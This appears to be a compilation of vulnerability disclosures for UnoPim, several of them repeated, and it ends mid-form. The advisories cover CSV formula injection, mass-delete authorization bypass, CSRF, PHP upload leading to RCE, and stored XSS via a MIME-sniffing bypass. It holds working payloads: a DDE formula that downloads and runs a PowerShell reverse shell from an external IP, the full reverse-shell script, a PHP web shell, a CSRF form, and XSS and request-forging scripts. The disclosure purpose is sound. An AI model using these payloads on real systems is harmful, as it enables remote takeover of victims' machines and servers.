unopim/unopim

Summary

Description: CSV Injection or Formula Injection is a security vulnerability that occurs when malicious content is inserted into a CSV (Comma-Separated Values) file, which is then opened in a spreadsheet application like Microsoft Excel. This attack exploits the way spreadsheet software automatically interprets certain text patterns as formulas or commands, rather than plain text.

Details

A basic test for CSV Injection is using SUM() to add two numbers or open calc.exe​ using​ command: =cmd|' /C calc'!A0​

The same method can be used to run arbitrary code on the victim's machine. For example the below code will download and execute a malicious script to create a reverse TCP connection to the attacker's machine. Payload:

This is our payload and will be used in the vulnerable field during exploitation

    =cmd|' /C powershell Invoke-WebRequest
    "http://52.172.182.242:7000/shell.ps1" -OutFile "$env:Temp\shell.ps1";
    powershell -ExecutionPolicy Bypass -File "$env:Temp\shell.ps1"'!A1​

shell.ps1:

    $client = New-Object System.Net.Sockets.TCPClient('52.172.182.242',8000);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()​

PoC:

1. Go to any product and click on Edit
2. Add the above discussed payload in any field that accept text for e.g. Product Number field.
3. Quick Export -> Select CSV, Open the csv, the formula will get executed during opening.

This could be injected by admin or any user that has privilege to edit products. Also the CSRF Injection reported at product edit feature can be used as an attack vector to add such payloads.

Please note that if this is replicated on version starting from Office 2021: Follow these steps: Go to File > Options > Trust Center > Trust Center Settings > External Content​ -> Enable Dynamic Data Exchange Server Launch". This is due to Office 2021 and Microsoft 365 have DDE disabled by default for enhanced security.

Platform Details: Replicated this on Office 2021 on Windows 11. POC video link: https://drive.proton.me/urls/3TP1QEMXNC#2PAy7OkVqdP3

Impact

When the victim opens the CSV, the injected formula which fetches a reverse shell script written in Powershell from attacker's server and executes it. This creates a reverse shell connection from victim's device to attacker's allowing an attacker to perform any action on the victim's device.

Recommendation:

• Avoid starting values with Equals sign (=), Plus sign (+), Minus sign (-), At symbol (@), Tab (0x09), Carriage return (0x0D).
• Sanitize the vulnerable field using regex or standard libraries.
• Wrap the value around double quotes for fields that cannot be sanitized for some reason so that the value is considered as string instead of formula.

Summary

In Unopim, it is possible to create roles and choose the privileges. However, users without the “Delete” privilege for Products cannot delete a single product via the standard endpoint (expected behavior), but can still delete products via the mass-delete endpoint, even when the request contains only one product ID.

Severity: High CVSS Score 8.1 (CVSS 3.1 Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H) Category: Broken Access Control / Missing Authorization (OWASP A01:2021) Impact: Unauthorized product deletion -> data loss, possible business disruption

Affected Behavior

Single delete (enforced): DELETE /admin/catalog/products/{id} returns 401 with "This action is unauthorized" for users lacking the Delete privilege.

Mass delete (not enforced): POST /admin/catalog/products/mass-delete allows deletion without the Delete privilege. This occurs for both multiple IDs and a single ID submitted to the bulk endpoint.

PoC

A video was captured in Burp Suite for a proof of concept. The cookies were used directly from Burp Suite and rendered the My Account page to prove what cookies belong to what users. The video PoC is listed in references.

Impact

Unauthorized product deletion -> data loss, possible business disruption

Summary

Description: CSV Injection or Formula Injection is a security vulnerability that occurs when malicious content is inserted into a CSV (Comma-Separated Values) file, which is then opened in a spreadsheet application like Microsoft Excel. This attack exploits the way spreadsheet software automatically interprets certain text patterns as formulas or commands, rather than plain text.

Details

A basic test for CSV Injection is using SUM() to add two numbers or open calc.exe​ using​ command: =cmd|' /C calc'!A0​

The same method can be used to run arbitrary code on the victim's machine. For example the below code will download and execute a malicious script to create a reverse TCP connection to the attacker's machine. Payload:

This is our payload and will be used in the vulnerable field during exploitation

    =cmd|' /C powershell Invoke-WebRequest
    "http://52.172.182.242:7000/shell.ps1" -OutFile "$env:Temp\shell.ps1";
    powershell -ExecutionPolicy Bypass -File "$env:Temp\shell.ps1"'!A1​

shell.ps1:

    $client = New-Object System.Net.Sockets.TCPClient('52.172.182.242',8000);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()​

PoC:

1. Go to any product and click on Edit
2. Add the above discussed payload in any field that accept text for e.g. Product Number field.
3. Quick Export -> Select CSV, Open the csv, the formula will get executed during opening.

This could be injected by admin or any user that has privilege to edit products. Also the CSRF Injection reported at product edit feature can be used as an attack vector to add such payloads.

Please note that if this is replicated on version starting from Office 2021: Follow these steps: Go to File > Options > Trust Center > Trust Center Settings > External Content​ -> Enable Dynamic Data Exchange Server Launch". This is due to Office 2021 and Microsoft 365 have DDE disabled by default for enhanced security.

Platform Details: Replicated this on Office 2021 on Windows 11. POC video link: https://drive.proton.me/urls/3TP1QEMXNC#2PAy7OkVqdP3

Impact

When the victim opens the CSV, the injected formula which fetches a reverse shell script written in Powershell from attacker's server and executes it. This creates a reverse shell connection from victim's device to attacker's allowing an attacker to perform any action on the victim's device.

Recommendation:

• Avoid starting values with Equals sign (=), Plus sign (+), Minus sign (-), At symbol (@), Tab (0x09), Carriage return (0x0D).
• Sanitize the vulnerable field using regex or standard libraries.
• Wrap the value around double quotes for fields that cannot be sanitized for some reason so that the value is considered as string instead of formula.

Summary

In Unopim, it is possible to create roles and choose the privileges. However, users without the “Delete” privilege for Products cannot delete a single product via the standard endpoint (expected behavior), but can still delete products via the mass-delete endpoint, even when the request contains only one product ID.

Severity: High CVSS Score 8.1 (CVSS 3.1 Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H) Category: Broken Access Control / Missing Authorization (OWASP A01:2021) Impact: Unauthorized product deletion -> data loss, possible business disruption

Affected Behavior

Single delete (enforced): DELETE /admin/catalog/products/{id} returns 401 with "This action is unauthorized" for users lacking the Delete privilege.

Mass delete (not enforced): POST /admin/catalog/products/mass-delete allows deletion without the Delete privilege. This occurs for both multiple IDs and a single ID submitted to the bulk endpoint.

PoC

A video was captured in Burp Suite for a proof of concept. The cookies were used directly from Burp Suite and rendered the My Account page to prove what cookies belong to what users. The video PoC is listed in references.

Impact

Unauthorized product deletion -> data loss, possible business disruption

Summary

Description: CSV Injection or Formula Injection is a security vulnerability that occurs when malicious content is inserted into a CSV (Comma-Separated Values) file, which is then opened in a spreadsheet application like Microsoft Excel. This attack exploits the way spreadsheet software automatically interprets certain text patterns as formulas or commands, rather than plain text.

Details

A basic test for CSV Injection is using SUM() to add two numbers or open calc.exe​ using​ command: =cmd|' /C calc'!A0​

The same method can be used to run arbitrary code on the victim's machine. For example the below code will download and execute a malicious script to create a reverse TCP connection to the attacker's machine. Payload:

This is our payload and will be used in the vulnerable field during exploitation

    =cmd|' /C powershell Invoke-WebRequest
    "http://52.172.182.242:7000/shell.ps1" -OutFile "$env:Temp\shell.ps1";
    powershell -ExecutionPolicy Bypass -File "$env:Temp\shell.ps1"'!A1​

shell.ps1:

    $client = New-Object System.Net.Sockets.TCPClient('52.172.182.242',8000);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()​

PoC:

1. Go to any product and click on Edit
2. Add the above discussed payload in any field that accept text for e.g. Product Number field.
3. Quick Export -> Select CSV, Open the csv, the formula will get executed during opening.

This could be injected by admin or any user that has privilege to edit products. Also the CSRF Injection reported at product edit feature can be used as an attack vector to add such payloads.

Please note that if this is replicated on version starting from Office 2021: Follow these steps: Go to File > Options > Trust Center > Trust Center Settings > External Content​ -> Enable Dynamic Data Exchange Server Launch". This is due to Office 2021 and Microsoft 365 have DDE disabled by default for enhanced security.

Platform Details: Replicated this on Office 2021 on Windows 11. POC video link: https://drive.proton.me/urls/3TP1QEMXNC#2PAy7OkVqdP3

Impact

When the victim opens the CSV, the injected formula which fetches a reverse shell script written in Powershell from attacker's server and executes it. This creates a reverse shell connection from victim's device to attacker's allowing an attacker to perform any action on the victim's device.

Recommendation:

• Avoid starting values with Equals sign (=), Plus sign (+), Minus sign (-), At symbol (@), Tab (0x09), Carriage return (0x0D).
• Sanitize the vulnerable field using regex or standard libraries.
• Wrap the value around double quotes for fields that cannot be sanitized for some reason so that the value is considered as string instead of formula.

Summary

In Unopim, it is possible to create roles and choose the privileges. However, users without the “Delete” privilege for Products cannot delete a single product via the standard endpoint (expected behavior), but can still delete products via the mass-delete endpoint, even when the request contains only one product ID.

Severity: High CVSS Score 8.1 (CVSS 3.1 Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H) Category: Broken Access Control / Missing Authorization (OWASP A01:2021) Impact: Unauthorized product deletion -> data loss, possible business disruption

Affected Behavior

Single delete (enforced): DELETE /admin/catalog/products/{id} returns 401 with "This action is unauthorized" for users lacking the Delete privilege.

Mass delete (not enforced): POST /admin/catalog/products/mass-delete allows deletion without the Delete privilege. This occurs for both multiple IDs and a single ID submitted to the bulk endpoint.

PoC

A video was captured in Burp Suite for a proof of concept. The cookies were used directly from Burp Suite and rendered the My Account page to prove what cookies belong to what users. The video PoC is listed in references.

Impact

Unauthorized product deletion -> data loss, possible business disruption

Summary

Some of the endpoints of the application is vulnerable to Cross site Request forgery (CSRF). | Method | Endpoint | Status | Reason | |:------:|:------:|:------:|:------:| | POST | /admin/catalog/products/create | Not Vulnerable :white_check_mark: | X-XSRF-TOKEN header used | | GET | /admin/catalog/products/copy/{id}| Vulnerable :x: | Missing X-XSRF-TOKEN header or similar protection | | POST | /admin/catalog/products/edit/{id}| Vulnerable :x: | Missing X-XSRF-TOKEN header or similar protection | | POST | /admin/settings/users/create | Not Vulnerable :white_check_mark: | X-XSRF-TOKEN header used |

The below are some of the vulnerable endpoints that allow state changing actions including but not limited to:

/admin/catalog/categories/create
/admin/catalog/categories/edit/{id}
/admin/catalog/category-fields/create
/admin/catalog/category-fields/edit/{id}
/admin/catalog/attributes/create
/admin/catalog/attributes/edit/{id}

Details

CSRF attack happens when you visit an attacker controlled website which sends a cross origin request to vulnerable application in order to perform a state changing operation like edit the price of a product without the intention of victim. In this case, the POST request doesn't need any special headers ( X-XSRF-TOKEN header missing ) and the content-type is either application/x-www-form-urlencoded or multipart/form-data so we can say this is a Simple request ( doesn't need preflight request ). The cookies are send because samesite is set to None. We have every ingredients for a successful CSRF attack.

PoC

1. Go to any product and click on Edit.
2. Capture the request on Burp, right click and generate a CSRF POC  ( or use the below csrf-poc.html )
3. Access the poc.html and press submit request, the cross origin request will be send and we can see the price of the product has been changed.

POC Video link: https://drive.proton.me/urls/VXNDKQ4WKR#LpvE777hl8OJ

csrf-poc.html:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1:8000/admin/catalog/products/edit/7" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="&#95;token" value="s9Egihm0RD1Pd1NxhvTrx0a4qKCdl0UTSzyyJaK5" />
      <input type="hidden" name="&#95;method" value="PUT" />
      <input type="hidden" name="sku" value="SM&#45;BL&#45;102" />
      <input type="hidden" name="channel" value="default" />
      <input type="hidden" name="locale" value="en&#95;US" />
      <input type="hidden" name="values&#91;common&#93;&#91;sku&#93;" value="SM&#45;BL&#45;102" />
      <input type="hidden" name="uniqueFields&#91;values&#46;common&#46;sku&#93;" value="values&#91;common&#93;&#91;sku&#93;" />
      <input type="hidden" name="values&#91;common&#93;&#91;product&#95;number&#93;" value="" />
      <input type="hidden" name="uniqueFields&#91;values&#46;common&#46;product&#95;number&#93;" value="values&#91;common&#93;&#91;product&#95;number&#93;" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;name&#93;" value="test" />
      <input type="hidden" name="values&#91;common&#93;&#91;url&#95;key&#93;" value="fffkk" />
      <input type="hidden" name="uniqueFields&#91;values&#46;common&#46;url&#95;key&#93;" value="values&#91;common&#93;&#91;url&#95;key&#93;" />
      <input type="hidden" name="values&#91;channel&#95;specific&#93;&#91;default&#93;&#91;tax&#95;category&#95;id&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;specific&#93;&#91;default&#93;&#91;tax&#95;category&#95;id&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;color&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;color&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;size&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;size&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;brand&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;brand&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;short&#95;description&#93;" value="&lt;p&gt;fff&lt;&#47;p&gt;" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;description&#93;" value="&lt;p&gt;fff&lt;&#47;p&gt;" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;meta&#95;title&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;meta&#95;keywords&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;meta&#95;description&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;price&#93;&#91;USD&#93;" value="7&#46;777" />
      <input type="hidden" name="values&#91;channel&#95;specific&#93;&#91;default&#93;&#91;cost&#93;&#91;USD&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;status&#93;" value="false" />
      <input type="hidden" name="values&#91;common&#93;&#91;status&#93;" value="true" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Impact

Attacker can perform action on behalf of the victim as this happens on the victim's browser provide the victim is already authenticated to the application. Attacker can use an image tag to send the GET request such that when the page is loaded, it'll get executed. As shown in the video POC, the product information can be tampered, create new categories etc.

Remediation:

• Use CSRF token for every state changing request.
• Use samesite: lax or strict, now it is set 'None'. Make sure all state changing requests are done using POST instead of GET. Noticed that for product copy feature, GET is used which means Samesite:strict needs to be set in that case. Otherwise Samesite: lax should suffice.

Summary:

Affected Functionality: Image upload at User creation Endpoint: /admin/settings/users/create

Details

The image upload at the user creation feature performs only client side file type validation. A user can capture the request by uploading an image, capture the request through a Proxy like Burp suite. Make changes to the file extension and content. The .php file when accessed through the link runs the code we provided inside the file.

Modified part of the multipart request body:

Content-Disposition: form-data; name="image[]"; filename="poc.php"
Content-Type: application/x-php

<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>

PoC

1. Upload an image file as profile picture during user creation , now capture the request and modify. File content: <?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?> File name: poc.php Content-Type can be any, doesn't matter.
2. Access the uploaded file e.g. http://localhost:8000/storage/admins/21/poc.php?cmd=ls // pass the command to run as parameter value for cmd, example running ls command on the system

Likewise a reverse shell code ( reverse shell of other languages ) can be executed to create a connection to attacker controlled system.

Impact

Every user in the dashboard is allowed to change their profile picture, thus allowing any of these users to execute malicious actions at the Server level. Usually a server might host multiple applications, allowing execution of system commands allows complete control of the system. The impact of an RCE vulnerability can be full system compromise, access to database and filesystem, access other sensitive devices on the network. Please see the POC video: https://drive.proton.me/urls/PH1ESMKHMW#4Vxb2KNu3tmn

Recommendation:

Extension Validation: Whitelist allowed extensions. ( use endswith() check rather than contains() as an attacker can bypass such a restriction with filename: poc.jpg.php

Summary

Affected Functionality: User creation Endpoint: /admin/settings/users/create

Details

https://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19 See the mimetype is checked for validation. Mime-type is usually identified by analysing the first few bytes of the file content, which contains the File signature or Magic bytes for e.g. GIF file starts with GIF87a or GIF89a. We can mislead the sanitizer to think the uploaded file is gif ( based on magic byte provided ) while actually it is a .svg file.

File containing is considered as svg and is sanitized:

Content-Disposition: form-data; name="image[]"; filename="poc.html"
Content-Type: image/svg+xml

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200"  onload="alert(5)">
  <rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect>
  <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>

Sanitization bypass using MIME type manipulation:

Content-Disposition: form-data; name="image[]"; filename="poc.html"
Content-Type: image/svg+xml

GIF89a
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200"  onload="alert(5)">
  <rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect>
  <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>

PoC

Upload POC.html as image. File content:

GIF89a
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200"  onload="alert(document.cookie)">
  <rect width="200" height="200" fill="#3498db" onmouseover="alert(document.domain)"></rect>
  <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>

I changed extension to .html because even though POC.svg successfully bypassed the sanitization. When accessing the URL, the page didn't render as it should starts with <. Since html doesn't have any such limitation we can access it. Access the image URL to see the XSS popup.

Impact

Suppose another admin visits the image link, the attacker can perform any operation as the victim. The session cookie is marked as http-only that disallow fetching cookies using javascript which is good thing. ( this prevent exfiltrating the cookie but still an attacker can perform any action behalf of the victim )

Example

create a product behalf of victim.

John doe (default admin ) creates another admin ( victimadmin@test.com ) When the victim-admin logs in and access the endpoint containing stored XSS, the script runs on behalf of victm-admin and the product is created. // info shows that victim-admin created the product. Since this image can be accessed by other admins, it can be performed behalf on any admin. It'll be recorded as done by whoever visited the link. Please see the detailed POC video for more details: https://drive.proton.me/urls/KCKTSWHA3C#W2Zus8hWucj2

Extended POC for performing the action shown in video: POC.html:

<html>
<script>
const url = 'http://localhost:8000/admin/catalog/products/create';

// Create a FormData object to hold the form data
const formData = new FormData();
formData.append('type', 'simple');
formData.append('attribute_family_id', '1');
formData.append('sku', 'Created-by-ADMIN-VICTIM888');

// Define the headers
const headers = {
    'X-XSRF-TOKEN': 'eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0=',
    'X-Requested-With': 'XMLHttpRequest',
    'Accept': 'application/json, text/plain, */*',
    'Origin': 'http://localhost:8000',
    'Referer': 'http://localhost:8000/admin/catalog/products',
    'Cookie': 'XSRF-TOKEN=eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0%3D; unopim_session=eyJpdiI6Ii9MTnNiMEJhNnZGZWVGaGQvbWdkUkE9PSIsInZhbHVlIjoiczJnZmczekRrTHMzN1phc1lmM1I0K1BkRGhRK3llOCtLcnpXODUwQnNrMWJUK29ab2Z0TDdYOUJaa3hxSGFsRzRpK1o0bGFTcTJ1N3J4QkhaYmxNRGdNNnpLUDFnYXl3QzdLNDJCQWRqbExnZ1dURGlyZW5UTWdycWlLQkFRc0oiLCJtYWMiOiJiNjNiZmM0ZjUxMTNlOTZmZGFiNzcxYzRkZDAwYTE3MGM5OTcxNWUyYTYzYjQ4ZGY5ZDkzYTdiZDJlNjUyNWQwIiwidGFnIjoiIn0%3D'
};

// Send the POST request
fetch(url, {
    method: 'POST',
    headers: headers,
    body: formData,
    credentials: 'include' // Include cookies in the request
})
.then(response => {
    if (!response.ok) {
        throw new Error('Network response was not ok ' + response.statusText);
    }
    return response.json(); // Assuming the response is JSON
})
.then(data => {
    console.log('Success:', data);
})
.catch(error => {
    console.error('Error:', error);
});
</script>
<html>

// make sure to update the cookies and CSRF tokens in the script to the attacker's.

Recommendation: Check file extension: whitelist allowed extensions. Check mime type matches with file extension ( in this case GIF89 ( mime type GIF ) and extension: svg. They are not matching so reject it. Check file extension ( endswith .svg ) and if it is svg then perform the sanitization that is in place.

Affected Version: 0.1.6

Summary

Description: CSV Injection or Formula Injection is a security vulnerability that occurs when malicious content is inserted into a CSV (Comma-Separated Values) file, which is then opened in a spreadsheet application like Microsoft Excel. This attack exploits the way spreadsheet software automatically interprets certain text patterns as formulas or commands, rather than plain text.

Details

A basic test for CSV Injection is using SUM() to add two numbers or open calc.exe​ using​ command: =cmd|' /C calc'!A0​

The same method can be used to run arbitrary code on the victim's machine. For example the below code will download and execute a malicious script to create a reverse TCP connection to the attacker's machine. Payload:

This is our payload and will be used in the vulnerable field during exploitation

    =cmd|' /C powershell Invoke-WebRequest
    "http://52.172.182.242:7000/shell.ps1" -OutFile "$env:Temp\shell.ps1";
    powershell -ExecutionPolicy Bypass -File "$env:Temp\shell.ps1"'!A1​

shell.ps1:

    $client = New-Object System.Net.Sockets.TCPClient('52.172.182.242',8000);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()​

PoC:

1. Go to any product and click on Edit
2. Add the above discussed payload in any field that accept text for e.g. Product Number field.
3. Quick Export -> Select CSV, Open the csv, the formula will get executed during opening.

This could be injected by admin or any user that has privilege to edit products. Also the CSRF Injection reported at product edit feature can be used as an attack vector to add such payloads.

Please note that if this is replicated on version starting from Office 2021: Follow these steps: Go to File > Options > Trust Center > Trust Center Settings > External Content​ -> Enable Dynamic Data Exchange Server Launch". This is due to Office 2021 and Microsoft 365 have DDE disabled by default for enhanced security.

Platform Details: Replicated this on Office 2021 on Windows 11. POC video link: https://drive.proton.me/urls/3TP1QEMXNC#2PAy7OkVqdP3

Impact

When the victim opens the CSV, the injected formula which fetches a reverse shell script written in Powershell from attacker's server and executes it. This creates a reverse shell connection from victim's device to attacker's allowing an attacker to perform any action on the victim's device.

Recommendation:

• Avoid starting values with Equals sign (=), Plus sign (+), Minus sign (-), At symbol (@), Tab (0x09), Carriage return (0x0D).
• Sanitize the vulnerable field using regex or standard libraries.
• Wrap the value around double quotes for fields that cannot be sanitized for some reason so that the value is considered as string instead of formula.

Summary

In Unopim, it is possible to create roles and choose the privileges. However, users without the “Delete” privilege for Products cannot delete a single product via the standard endpoint (expected behavior), but can still delete products via the mass-delete endpoint, even when the request contains only one product ID.

Severity: High CVSS Score 8.1 (CVSS 3.1 Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H) Category: Broken Access Control / Missing Authorization (OWASP A01:2021) Impact: Unauthorized product deletion -> data loss, possible business disruption

Affected Behavior

Single delete (enforced): DELETE /admin/catalog/products/{id} returns 401 with "This action is unauthorized" for users lacking the Delete privilege.

Mass delete (not enforced): POST /admin/catalog/products/mass-delete allows deletion without the Delete privilege. This occurs for both multiple IDs and a single ID submitted to the bulk endpoint.

PoC

A video was captured in Burp Suite for a proof of concept. The cookies were used directly from Burp Suite and rendered the My Account page to prove what cookies belong to what users. The video PoC is listed in references.

Impact

Unauthorized product deletion -> data loss, possible business disruption

Summary

Some of the endpoints of the application is vulnerable to Cross site Request forgery (CSRF). | Method | Endpoint | Status | Reason | |:------:|:------:|:------:|:------:| | POST | /admin/catalog/products/create | Not Vulnerable :white_check_mark: | X-XSRF-TOKEN header used | | GET | /admin/catalog/products/copy/{id}| Vulnerable :x: | Missing X-XSRF-TOKEN header or similar protection | | POST | /admin/catalog/products/edit/{id}| Vulnerable :x: | Missing X-XSRF-TOKEN header or similar protection | | POST | /admin/settings/users/create | Not Vulnerable :white_check_mark: | X-XSRF-TOKEN header used |

The below are some of the vulnerable endpoints that allow state changing actions including but not limited to:

/admin/catalog/categories/create
/admin/catalog/categories/edit/{id}
/admin/catalog/category-fields/create
/admin/catalog/category-fields/edit/{id}
/admin/catalog/attributes/create
/admin/catalog/attributes/edit/{id}

Details

CSRF attack happens when you visit an attacker controlled website which sends a cross origin request to vulnerable application in order to perform a state changing operation like edit the price of a product without the intention of victim. In this case, the POST request doesn't need any special headers ( X-XSRF-TOKEN header missing ) and the content-type is either application/x-www-form-urlencoded or multipart/form-data so we can say this is a Simple request ( doesn't need preflight request ). The cookies are send because samesite is set to None. We have every ingredients for a successful CSRF attack.

PoC

1. Go to any product and click on Edit.
2. Capture the request on Burp, right click and generate a CSRF POC  ( or use the below csrf-poc.html )
3. Access the poc.html and press submit request, the cross origin request will be send and we can see the price of the product has been changed.

POC Video link: https://drive.proton.me/urls/VXNDKQ4WKR#LpvE777hl8OJ

csrf-poc.html:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1:8000/admin/catalog/products/edit/7" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="&#95;token" value="s9Egihm0RD1Pd1NxhvTrx0a4qKCdl0UTSzyyJaK5" />
      <input type="hidden" name="&#95;method" value="PUT" />
      <input type="hidden" name="sku" value="SM&#45;BL&#45;102" />
      <input type="hidden" name="channel" value="default" />
      <input type="hidden" name="locale" value="en&#95;US" />
      <input type="hidden" name="values&#91;common&#93;&#91;sku&#93;" value="SM&#45;BL&#45;102" />
      <input type="hidden" name="uniqueFields&#91;values&#46;common&#46;sku&#93;" value="values&#91;common&#93;&#91;sku&#93;" />
      <input type="hidden" name="values&#91;common&#93;&#91;product&#95;number&#93;" value="" />
      <input type="hidden" name="uniqueFields&#91;values&#46;common&#46;product&#95;number&#93;" value="values&#91;common&#93;&#91;product&#95;number&#93;" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;name&#93;" value="test" />
      <input type="hidden" name="values&#91;common&#93;&#91;url&#95;key&#93;" value="fffkk" />
      <input type="hidden" name="uniqueFields&#91;values&#46;common&#46;url&#95;key&#93;" value="values&#91;common&#93;&#91;url&#95;key&#93;" />
      <input type="hidden" name="values&#91;channel&#95;specific&#93;&#91;default&#93;&#91;tax&#95;category&#95;id&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;specific&#93;&#91;default&#93;&#91;tax&#95;category&#95;id&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;color&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;color&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;size&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;size&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;brand&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;brand&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;short&#95;description&#93;" value="&lt;p&gt;fff&lt;&#47;p&gt;" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;description&#93;" value="&lt;p&gt;fff&lt;&#47;p&gt;" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;meta&#95;title&#93;" value="" />
